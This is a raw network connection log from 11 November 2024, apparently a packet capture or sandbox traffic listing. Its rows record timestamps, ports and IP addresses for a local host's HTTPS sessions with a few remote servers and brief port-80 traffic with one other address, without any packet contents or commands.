Nov 11, 2024 12:40:12.002201080 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.002234936 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.002248049 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.002259970 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.002315044 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.002327919 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.002376080 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.003000021 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.006145954 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.006200075 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.006206036 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.042982101 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043031931 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043062925 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043075085 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.043088913 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043212891 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043246984 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043281078 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.043291092 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.043301105 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.048191071 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.051083088 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.051098108 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.057423115 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.057435036 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.083225965 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.083261013 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.083288908 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.083347082 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.083355904 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.083384037 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.083659887 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.087043047 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.087050915 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.088754892 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.088809967 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.088814020 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.094563007 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.095046997 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.095066071 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.100518942 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.100719929 CET	443	49719	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.100786924 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.100794077 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.104271889 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.104295015 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.106251955 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.107064009 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.107070923 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.111911058 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.115055084 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.115061045 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.117274046 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.117342949 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.117347956 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.123967886 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.124073029 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.124104023 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.124125004 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.124140978 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.124171972 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.124183893 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.124228001 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.125963926 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.131805897 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.131829977 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.131885052 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.131901979 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.131963015 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.132662058 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.132711887 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.132721901 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.138050079 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.143615961 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.143640041 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.143728971 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.143742085 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.143785000 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.149486065 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.151144981 CET	49719	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.151160955 CET	443	49719	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.152232885 CET	49719	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.152287006 CET	443	49719	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.152415991 CET	49719	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.155522108 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.155546904 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.155602932 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.155617952 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.155656099 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.160793066 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.164520025 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.164552927 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.164587975 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.164611101 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.164622068 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.164664984 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.164963961 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.164994001 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.165011883 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.165016890 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.165127993 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.165169954 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.165175915 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.165215969 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.165859938 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.165910006 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.165961027 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.165966034 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.169815063 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.171037912 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.171044111 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.171323061 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.175045967 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.175051928 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.175600052 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.175652981 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.175657034 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.176590919 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.179050922 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.179064035 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.179265976 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.182607889 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.182614088 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.184509993 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.187048912 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.187055111 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.188117027 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.191052914 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.191059113 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.192303896 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.192369938 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.192375898 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.195565939 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.199058056 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.199064016 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.199889898 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.199963093 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.199969053 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.203772068 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206006050 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206084967 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.206089020 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.206094980 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206099033 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206269026 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206377029 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206408978 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206427097 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.206435919 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206446886 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.206469059 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206499100 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206536055 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.206545115 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.206582069 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.207443953 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.207501888 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.207561016 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.207571983 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.207747936 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.211045027 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.211052895 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.213737965 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.213798046 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.213809967 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.213910103 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.213941097 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.213998079 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.214004040 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.215046883 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.215248108 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.215279102 CET	443	49717	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.215331078 CET	49717	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.215430021 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.215614080 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.215672970 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.215686083 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.215722084 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.219422102 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.223634005 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.223663092 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.223716974 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.223727942 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.223773003 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.227554083 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.227718115 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.227790117 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.227797031 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.231791019 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.235052109 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.235064983 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.235989094 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.239047050 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.239058971 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.239301920 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.243056059 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.243062973 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.244419098 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.247052908 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.247062922 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.247575998 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.251039982 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.251050949 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.253429890 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.255058050 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.255067110 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.258434057 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.259057045 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.259066105 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.260422945 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.263056040 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.263063908 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.286839008 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.286870003 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.286955118 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.286974907 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287017107 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.287028074 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287173986 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287369013 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287400007 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287429094 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287451982 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.287468910 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287506104 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.287830114 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.287880898 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.288321972 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.288350105 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.288376093 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.288388014 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.288398027 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.292872906 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.293649912 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.293688059 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.293711901 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.293724060 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.293756008 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.295528889 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.297678947 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.297725916 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.297763109 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.297772884 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.297799110 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.299942017 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.301865101 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.301899910 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.301934958 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.301947117 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.301971912 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.304418087 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.306319952 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.306391954 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.306401014 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.306442976 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.306488991 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.351027012 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.351047993 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.351365089 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.351432085 CET	443	49718	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:12.351488113 CET	49718	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:12.582499981 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:12.582545996 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:12.582632065 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:12.582921028 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:12.582932949 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.113178015 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.113245010 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.115632057 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.115639925 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.115869999 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.124327898 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.171329021 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.277178049 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.277198076 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.277221918 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.277317047 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.277332067 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.277381897 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.292131901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:13.292205095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:13.297086954 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.297102928 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.297190905 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.297200918 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.297286034 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.358561039 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.358576059 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.358671904 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.358680964 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.358724117 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.395431995 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.395447016 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.395581007 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.395595074 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.395663023 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.396791935 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.396806955 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.396893978 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.396902084 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.396949053 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.422122955 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.422137976 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.422230005 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.422238111 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.422280073 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.439850092 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.439865112 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.439922094 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.439929008 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.439960957 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.439981937 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.475651979 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.475666046 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.475800991 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.475815058 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.475863934 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.476140976 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.476154089 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.476224899 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.476231098 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.476265907 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.476299047 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.477401972 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.477415085 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.477475882 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.477482080 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.477534056 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.478063107 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.478077888 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.478153944 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.478161097 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.478204012 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.480007887 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.480046988 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.480129004 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.480137110 CET	443	49723	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:13.480204105 CET	49723	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:13.502062082 CET	49723	443	192.168.2.6	13.107.246.45
